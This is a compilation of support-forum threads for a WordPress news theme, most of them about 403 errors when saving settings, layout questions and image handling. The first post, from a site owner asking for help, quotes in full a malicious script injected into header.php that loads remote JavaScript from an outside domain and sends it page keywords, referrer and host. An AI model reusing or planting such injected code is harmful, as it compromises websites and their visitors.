Hi,
How do they manage to insert this malware script on header.php everytime i delete it ?
i have added extra security in .htaccess i have changed database prefix from default wp_ to something else much harder to guess.
what elese am i doing wrong ?
this is the code i keep finding in header.php
<script>var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+"//"+location.host)!==0||document.referrer!==undefined||document.referrer!==''||document.referrer!==null){document.write('<script type="text/javascript" src="http://african-ancestries.com/js/jquery.min.php?c_utt=J18171&c_utm='+encodeURIComponent('http://african-ancestries.com/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function(){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<y;x++){if(metas[x].name.toLowerCase()=="keywords"){keywords+=metas[x].content;}}}return keywords!==''?keywords:null;})())==null?(v=window.location.search.match(/utm_term=([^&]+)/))==null?(t=document.title)==null?'':t:v[1]:k))+'&se_referrer='+encodeURIComponent(document.referrer)+'&source='+encodeURIComponent(window.location.host))+'"><'+'/script>');}</script>
and this is my .htaccess
text/x-generic .htaccess ( ASCII English text )
# Wordfence WAF
<IfModule mod_suphp.c>
suPHP_ConfigPath '/home/anunturi/public_html/test/newspaper'
</IfModule>
<Files ".user.ini">
<IfModule mod_authz_core.c>
Require all denied
</IfModule>
<IfModule !mod_authz_core.c>
Order deny,allow
Deny from all
</IfModule>
</Files>
# END Wordfence WAF
# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
# END WordPress
#Restrict Access to the Admin
ErrorDocument 401 /public_html/test/newspaper/index.php?error=404
ErrorDocument 403 /public_html/test/newspaper/index.php?error=404
<IfModule mod_rewrite.c>
RewriteEngine on
RewriteCond %{REQUEST_URI} ^(.*)?wp-login\.php(.*)$ [OR]
RewriteCond %{REQUEST_URI} ^(.*)?wp-admin$
RewriteCond %{REMOTE_ADDR} !^86.15.89.142$
RewriteRule ^(.*)$ - [R=403,L]
</IfModule>
#Prevent Directory Browsing
Options All -Indexes
#Restrict Access to PHP Files
RewriteCond %{REQUEST_URI} !^/wp-content/plugins/file/to/exclude\.php
RewriteCond %{REQUEST_URI} !^/wp-content/plugins/directory/to/exclude/
RewriteRule wp-content/plugins/(.*\.php)$ - [R=404,L]
RewriteCond %{REQUEST_URI} !^/wp-content/themes/file/to/exclude\.php
RewriteCond %{REQUEST_URI} !^/wp-content/themes/directory/to/exclude/
RewriteRule wp-content/themes/(.*\.php)$ - [R=404,L]
#Protect Your Site Against Script Injections
Options +FollowSymLinks
RewriteEngine On
RewriteCond %{QUERY_STRING} (<|%3C).*script.*(>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} GLOBALS(=|[|%[0-9A-Z]{0,2}) [OR]
RewriteCond %{QUERY_STRING} _REQUEST(=|[|%[0-9A-Z]{0,2})
RewriteRule ^(.*)$ index.php [F,L]
#Securing the wp-includes Directory
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^wp-admin/includes/ - [F,L]
RewriteRule !^wp-includes/ - [S=3]
RewriteRule ^wp-includes/[^/]+\.php$ - [F,L]
RewriteRule ^wp-includes/js/tinymce/langs/.+\.php - [F,L]
RewriteRule ^wp-includes/theme-compat/ - [F,L]
</IfModule>
#Prevent Username Enumeration
RewriteCond %{QUERY_STRING} author=d
RewriteRule ^ /? [L,R=301]
Order Deny,Allow
Deny from 201.79.174.162
Deny from 116.110.194.204
Deny from 31.135.26.61
Deny from 201.133.219.84
Deny from 46.118.113.186
Deny from 86.15.89.142
Deny from 2607:f298:0006:a056:0000:0000:02cb:020d
Deny from 79.135.237.82
Deny from 184.168.152.165
Deny from 50.62.161.99
Deny from 23.238.20.43
Deny from 61.63.25.210
Deny from 50.62.176.36
Deny from 37.61.233.106
Deny from 50.62.176.36
Deny from 70.39.151.44
Deny from 184.168.152.165
Deny from 23.238.20.43
Deny from 184.168.200.229
Deny from 184.168.27.198
Deny from 46.252.205.134
Deny from 208.109.52.46
Deny from 50.62.176.45
Deny from 108.170.8.242
Deny from 184.168.152.165
Deny from 198.71.228.12
Deny from 77.232.68.17
i ended up getting blocked by google … please help
thanks
Hi,
Thanks for the quick answer. Good to know the size changes wont take effect if I dont add the <script> tags, so I should make that work I guess.
I just checked and changing other theme settings from the panel worked fine, even adding the Header ad works perfect (with all the tags).
I also checked the chrome console and there is a 403 error, it comes when I hit “save” when using all tags for the inline ad. If I reload the page the ad is not saved, it remains as before.
Hi
First: The settings are saved when you make other modifications in theme panel? For example if you change a color or a font those settings are saved? You don’t have to make any changes in ad’s code as the theme will save it in its original form.
Try to deactivate all plugin except Visual Composer, clear all caches, purge cdn file if your using then test the site again. Also check if in browser’s console appear some errors related whit the theme while you’re saving the settings. Usually there should be a 403 or 404 error.
Second: Because you removed the first line from the ad-code the theme does not recognize it as ad-sense code and that’s why those options are not applied. Ad size can be changed only for ad-sense ads and because the theme render your code as a different ad the options are not applied.
Let us know how it goes and if the problem persist please send us an email at contact@tagdiv.com with your login credentials and we will inspect this issue as soon as possible, also include a link to this topic.
Thanks!
Hi @gregy1403
Please check this topic: https://forum.tagdiv.com/topic/cant-save-theme-settings/ One of our form members found a solution for Wordfence plugin
Hope this helps.
Thanks!
That seems strange to me because the image URLs would have never changed. Also, sometimes they do load correctly and sometimes they don’t. I am getting a few errors:
http://i0.wp.com/shortshift.co/wp-content/uploads/2016/03/Twin-Cities-Auto-Show-2016-Short-Shift-61.jpg?resize=80%2C60 Failed to load resource: the server responded with a status of 504 (Gateway Timeout)
and
(index):454 WebSocket connection to ‘wss://public-api.wordpress.com/pinghub/wpcom/me/newest-note-data’ failed: Error during WebSocket handshake: Unexpected response code: 403
Nothing changed except for updating the theme and WordPress.
Hi
Text logo and text logo tagline works only if you don’t have a logo image loaded: http://screencast.com/t/8GXWGjCeyi If you can’t save these settings please check if in browser’s console if there are some errors related with the theme. Usually should appear a 403 or 404 error.
Please address us via email at contact@tagdiv.com including a link to this conversation and also give us wp-access so we can have a closer look at this and we will get back to your as soon as possible.
Thanks!
The update to WP 4.5 has been a bit of a pain. Visual composer stopped working and today i found out i can no longer update any of the theme options.
I updated to the latest version of the them and updated Visual Copmoser and this is working again, but i cant get the settings page to work.
I am on the main theme panel “wp-admin/admin.php?page=td_theme_panel” and i just want to change some settings. The loading icon pops up when i click save, but nothing happens. I checked the PHP log and there were no errors. I checked the console for the page and found the following error
wp-admin/admin-ajax.php?td_theme_name=Newspaper&v=6.7.2 403 (Forbidden)
Nothing has changed on my server other than upgrading to WP 4.5 (it then auto updated to 4.5.1 which fixed some other issues i had). Any idea whats causing this?
Here is the ful dump of everything that shows up.
load-scripts.php?c=0&load[]=jquery-core,jquery-migrate,utils,jquery-ui-widget,jquery-ui-core,jquery…:4n.extend.ajax @ load-scripts.php?c=0&load[]=jquery-core,jquery-migrate,utils,jquery-ui-widget,jquery-ui-core,jquery…:4(anonymous function) @ td_wp_admin_panel.js?ver=6.7.2:676n.event.dispatch @ load-scripts.php?c=0&load[]=jquery-core,jquery-migrate,utils,jquery-ui-widget,jquery-ui-core,jquery…:3r.handle @ load-scripts.php?c=0&load[]=jquery-core,jquery-migrate,utils,jquery-ui-widget,jquery-ui-core,jquery…:3
I’ve setup a smartlist using SmartList Style 1. I’ve selected H6 tag to identify and render smart lists.
I’m wanting to have the smart list run in the middle of my post (I have 2 opening paragraphs, my smartlist, then 2 closing paragraphs). What’s happening is that these 2 closing paragraphs are being added to the 5th slide inside my smartlist.
I have this post scheduled to launch live tomorrow.
Here’s the code I’m using:
<p>Did you know April is National Autism Awareness Month? We like this useful article published this week by Diane M. McCullom. Take a look and tell us what you think.</p>
<p>In 2014, the Centers for Disease Control and Prevention issued their Autism and Developmental Disabilities Monitoring (ADDM) report, which revealed that the prevalence of autism had risen to one in every 68 births in the U.S. — nearly twice the rate it was in 2004. While alarming, the national spotlight on autism has allowed us all to take a closer look at the disability and identify ways to help those with autism spectrum disorder (ASD) function at their highest level.</p>
<p>These days, technology is helping to shape how kids and adults with autism learn, adapt, and communicate, and with April being National Autism Awareness Month, we decided to highlight some of our favorite apps that might resonate with your child or someone else you know with ASD.</p>
<h6>Let’s Face It! (LFI!) Scrapbook</h6>
<p>Designed as a tool for learning faces and recognizing emotions, Let’s Face It! (LFI!) Scrapbook utilizes the iPad’s built-in camera to take photos and make videos of the user’s friends, family, classmates, and other important people in their lives. Pictures and videos can be labeled and organized into personalized albums that are then used as material for the app’s four games.</p>
<h6>The Monster at the End of This Book</h6>
<p>A long list of skills are worked on with this app, include fine motor, imagination, language, and vocabulary, but what else would you expect from Sesame Street? In The Monster at the End of This Book, parents are given tips on helping children work through their fears, and this storybook app is a top-notch choice for teaching cause and effect, since kids learn that a touch of their fingers allows them to interact with the story.
<h6>Fruit Ninja Free</h6>
<p>As users chop apples, oranges, and strawberries in this fruit-slicing game, they may not realize they’re developing their fine motor skills at the same time. Fruit Ninja Free is a must have app!</p>
<h6>Proloquo2Go</h6>
<p>The hefty price tag on this app ($249.99) has been well worth it according to the many users who have sung its praises. Made for children who have a hard time speaking and building vocabulary, Proloquo2Go uses natural voices to dictate words and offers more than 14,000 symbols to build language. In fact, many kids with autism use it as their main mode of communication since it gives them a voice through the iPad.</p>
<h6>Toca Boca</h6>
<p>Apply a bandage, send out party invitations, or join a tea party with the different variations of games that this digital design studio creates. Play skills are crucial to the development of a child with ASD, and Toca Boca teach them how to engage in reciprocal social imaginative play.</p>
<p>It’s encouraging to see apps like these in the market since it stresses the importance of one key truth we come into contact with every day at Epic: If you’ve met one kid with autism, you’ve met only one kid with autism. Every child learns differently, and creating tools that allow children to learn in a way that works best for them is one of the best things we can do to celebrate our differences.</p>
<p>Diane M. McCullom is the senior vice president of clinical operations at Dallas-based Epic Health Services, a leading provider of pediatric skilled nursing, therapy, developmental, and enteral services, as well as adult home health services, with operations in 17 states.</p>
I’m wanting to have the below code appear below the smart list instead of part of one of the slides.
<p>It’s encouraging to see apps like these in the market since it stresses the importance of one key truth we come into contact with every day at Epic: If you’ve met one kid with autism, you’ve met only one kid with autism. Every child learns differently, and creating tools that allow children to learn in a way that works best for them is one of the best things we can do to celebrate our differences.</p>
<p>Diane M. McCullom is the senior vice president of clinical operations at Dallas-based Epic Health Services, a leading provider of pediatric skilled nursing, therapy, developmental, and enteral services, as well as adult home health services, with operations in 17 states.</p>
I’ve checked documentation and I can’t find anything regarding this.
Hi
Try to deactivate all plugins except Visual Composer, clear all caches and test again. Also check the browser console for any errors while you’re saving the settings. Usually there should appear a 403 or 404 error. If this happens contact your server administrator and explain the situation, as it’s requested many times during the a save the file it’s treated as threat so it’s banned. You can report false positives to your server administrator to remove it from the banned list.
Thanks!
Hi
Try to deactivate all plugins except Visual Composer, clear all caches and test again. Also check the browser console for any errors while you’re saving the settings. Usually there should appear a 403 or 404 error. If this happens contact your server administrator and explain the situation, as it’s requested many times during the a save the file it’s treated as threat so it’s banned. You can report false positives to your server administrator to remove it from the banned list.
Thanks!
Hi
Try to deactivate all plugins except Visual Composer, clear all caches then test again. Also check in browser’s console if there are any errors while you’re saving the settings in theme panel. Usually there should appear a 403 or 404 error. If this happens contact your server administrator and explain the situation, as it’s requested many times during the a save the file it’s treated as threat so it’s banned. You can report false positives to your server administrator to remove it from the banned list.
Thanks!
Hi
Try to deactivate all plugins except Visual Composer, clear all caches and test again. Also check the browser console while you’re saving the settings in theme panel. Check if there appear any errors relate with the theme, usually should appear a 403 or 404 error.
Let us know how it goes and if the problem persist please send us an email at contact@tagdiv.com with your login credentials and we will inspect this issue as soon as possible, also include a link to this topic.
Thanks!
Hi
I assume that you have the directory browsing set to OFF on your server. When I try to access the uploads folder I get a 403 forbidden message: http://screencast.com/t/H1QTDmGc however the files within this folder can be accessed.
Contact you host provider and ask him if he set any restriction on your folders as he may be able to offer more details in this regard.
Thanks!
Buna
Una dintre causele acestei probleme ar putea fi un conflict intre js-ul temei si unul dintre plugin-urile instalate. Incearca se dezactivezi toate plugin-urile exceptand Visual Composer, goleste memoria cache apoi testeaza din nou.
Daca problema persita verifica in consola browser-ului daca apar erori relationate cu tema, de obicei in aceasta situatie ar trebuii sa fie o eroare cu un cod 403 sau 404.
In final daca nu reusesti sa rezolvi aceasta problema trimite-ne un mesaj la adresa de email contact@tagdiv.com incluzand un link la acest topic si detaliile de logare ale site-ului iar noi vom inspecta aceasta problem in cel mai scurt timp.
Multumesc.
Hi
Thanks @Chris for your answer!
@gregy1403 the theme uses the same thumb for mobile version as for desktop, but in many cases the surface which must be covered it’s bigger then the thumb size. A possible solution to increase the thumbs quality for mobile would be to make them bigger by increasing theirs sizes. To achieve that you need to edit td_config.php file: http://screencast.com/t/F419owb1LPKD
Thanks!
Lso i used in .htacces Chris code
# END WordPress
AddType text/javascript .js
AddType application/vnd.ms-fontobject .eot
AddType application/x-font-ttf .ttf
AddType application/x-font-opentype .otf
AddType application/x-font-woff .woff
# BEGIN Expire headers
<IfModule mod_expires.c>
ExpiresActive On
ExpiresDefault "access plus 5 seconds"
ExpiresByType image/x-icon "access plus 2500000 seconds"
ExpiresByType image/jpeg "access plus 2500000 seconds"
ExpiresByType image/png "access plus 2500000 seconds"
ExpiresByType image/gif "access plus 2500000 seconds"
ExpiresByType application/x-shockwave-flash "access plus 2500000 seconds"
ExpiresByType text/css "access plus 700000 seconds"
ExpiresByType text/javascript "access plus 700000 seconds"
ExpiresByType application/javascript "access plus 700000 seconds"
ExpiresByType application/x-javascript "access plus 700000 seconds"
ExpiresByType text/html "access plus 600 seconds"
ExpiresByType application/xhtml+xml "access plus 600 seconds"
ExpiresByType font/truetype "access plus 2500000 seconds"
ExpiresByType font/opentype "access plus 2500000 seconds"
ExpiresByType application/x-font-woff "access plus 2500000 seconds"
ExpiresByType image/svg+xml "access plus 2500000 seconds"
ExpiresByType application/vnd.ms-fontobject "access plus 2500000 seconds"
</IfModule>
# END Expire headers
# BEGIN Cache-Control Headers
<IfModule mod_headers.c>
<filesMatch "\.(ico|jpe?g|png|gif|swf)$">
Header set Cache-Control "public"
</filesMatch>
<filesMatch "\.(css)$">
Header set Cache-Control "public"
</filesMatch>
<filesMatch "\.(js)$">
Header set Cache-Control "private"
</filesMatch>
<filesMatch "\.(x?html?|php)$">
Header set Cache-Control "private, must-revalidate"
</filesMatch>
</IfModule>
# END Cache-Control Headers
<IfModule mod_headers.c>
Header unset ETag
</IfModule>
<IfModule mod_alias.c>
RedirectMatch 403 /xmlrpc.php
</IfModule>
Our development site URL is http://romeo.thesparkhub.com
Everytime I scroll down using two fingers on my trackpad, the browser jumps to the bottom of the page, skipping any content in the middle.
I can’t seem to stop it – it’s a real turn off as it’s frustrating and I can’t “smooth scroll” to the content I want.
I’m on a mac, and it occurs in Firefox, Chrome and Safari. (On mobile the bug doesn’t seem to occur – I can scroll with my thumb easily (iPhone 5S on Safari).
Took a video so you can see for yourself at – https://dl.dropboxusercontent.com/u/4039636/SparkHub/bugs/desktop.mp4
Hi,
I am facing some post title display issue with post template style 8 if my featured image is white. Since the title also in white colour ,thus if the featured image also white then cannot see the post title. It is ok only if the image is darker colour.
What I expected is to add a background colour for the post title so that although my featured image is in white colour, the post title still able to be seen. What I expected:
May I know how to achieve this?
Thank you.
Best Regards.
Hi
I am not sure I understand your issue completely. Are you saying that the theme does not save changes made in translate sections? If this is the case check in browser console if there are any errors while you’re saving the settings in translate panel. Usually should be a 403 or a 404 error. Also try to deactivate all plugins except Visual Composer, clear all caches and test again.
Let me know how it goes and if the problem persist please provide your site url so I can inspect this closer.
Thanks!
Hello signalsolutions,
If you want to have Font Awesome for your Post title or for Page title you have to install Font Awsome 4 Menus plugins and add the font code before/after title like this -> http://screencast.com/t/5nRdjBKR -> http://screencast.com/t/quNvs8KB403 -> http://screencast.com/t/dLkTDD3zMI -> http://screencast.com/t/tHH4aP5l4
For page title, please ensure that you have used the page builder+page title in order to display the title, like this -> http://screencast.com/t/nU0Op6S2v
For more information about this plugin, please consult our documentation here -> https://forum.tagdiv.com/how-to-add-icons-in-menu/
Hope this helps!
Thank you for the message!
Hi
I am not sure I understand your issue completely. Do you mean that the changes made in theme panel does not applies on front-end? If this happens try to deactivate all plugins except Visual Composer, clear all caches and test again. Also check in browser console while you’re saving the settings if there are any errors. Usually a 403 or a 404 error it’s displayed there if something goes wrong.
If this is not what you mean please provide more details about your issue and also provide your site url so I can inspect it closer.
Thanks!
We have noted that therm is a proliferation of images in the upload directory. For example, for one image we see the following images stored:
/public_html/wp-content/uploads/2015/08/kayaking_jan-100×70.jpeg
/public_html/wp-content/uploads/2015/08/kayaking_jan-1024×768.jpeg
/public_html/wp-content/uploads/2015/08/kayaking_jan-1068×580.jpeg
/public_html/wp-content/uploads/2015/08/kayaking_jan-1068×801.jpeg
/public_html/wp-content/uploads/2015/08/kayaking_jan-150×150.jpeg
/public_html/wp-content/uploads/2015/08/kayaking_jan-218×150.jpeg
/public_html/wp-content/uploads/2015/08/kayaking_jan-265×198.jpeg
/public_html/wp-content/uploads/2015/08/kayaking_jan-300×225.jpeg
/public_html/wp-content/uploads/2015/08/kayaking_jan-324×160.jpeg
/public_html/wp-content/uploads/2015/08/kayaking_jan-324×235.jpeg
/public_html/wp-content/uploads/2015/08/kayaking_jan-324×400.jpeg
/public_html/wp-content/uploads/2015/08/kayaking_jan-356×220.jpeg
/public_html/wp-content/uploads/2015/08/kayaking_jan-356×364.jpeg
/public_html/wp-content/uploads/2015/08/kayaking_jan-533×261.jpeg
/public_html/wp-content/uploads/2015/08/kayaking_jan-534×462.jpeg
/public_html/wp-content/uploads/2015/08/kayaking_jan-696×522.jpeg
/public_html/wp-content/uploads/2015/08/kayaking_jan-741×486.jpeg
/public_html/wp-content/uploads/2015/08/kayaking_jan-80×60.jpeg
/public_html/wp-content/uploads/2015/08/kayaking_jan-e1440357823779.jpeg
/public_html/wp-content/uploads/2015/08/kayaking_jan.jpeg
However, if we look at the code we see:
<img class=”entry-thumb td-animation-stack-type0-2″ src=”http://i2.wp.com/lagoonpondassoc.org/newspaper/wp-content/uploads/2015/08/kayaking_jan-e1440357823779.jpeg?resize=324%2C160″ which appears to be a RESTful web app mounted on an AWS S3 service. This made without referencing the stored images. In addition, if we go to the image lib in WP we see only one image. The problem from our point of view is that this proliferation of images has driven the the whole WP site over the ISP’s backup limit. Have you any thoughts about where we go? can we delete all the images except the one basic image shown in the image lib? Thank you.
Hi
Try to deactivate all plugin except Visual Composer, clear all caches and test again. Also check in browser console while you’re saving the settings if there are any errors. Usually a 403 or 404 error appear in this situations.
Regarding the ad issue please make sure that you’re not using any ad-blocker software as I’ve checked your site with google chrome and the header ad it’s displayed fine: http://screencast.com/t/NVwwEtdkpDq
Thanks!
Hi
Please make sure that the max_execution_time is set at 300 and the max_input_vars itțs bigger than 2000. Also check in browser console while saving the settings if there are any errors related with admin-ajax.php file. Usually are displayed some 403 or 404 errors. If those errors appear in console you should contact your host provider and let him know about this.
Thanks!
My newspaper them doesn’t install Visual Composer plugin. when I install this I get a ERROR 403 – FORBIDDEN but I can installed wordpress free recommended plugin.
My FTP server file permission already I checked that is good.please help me.
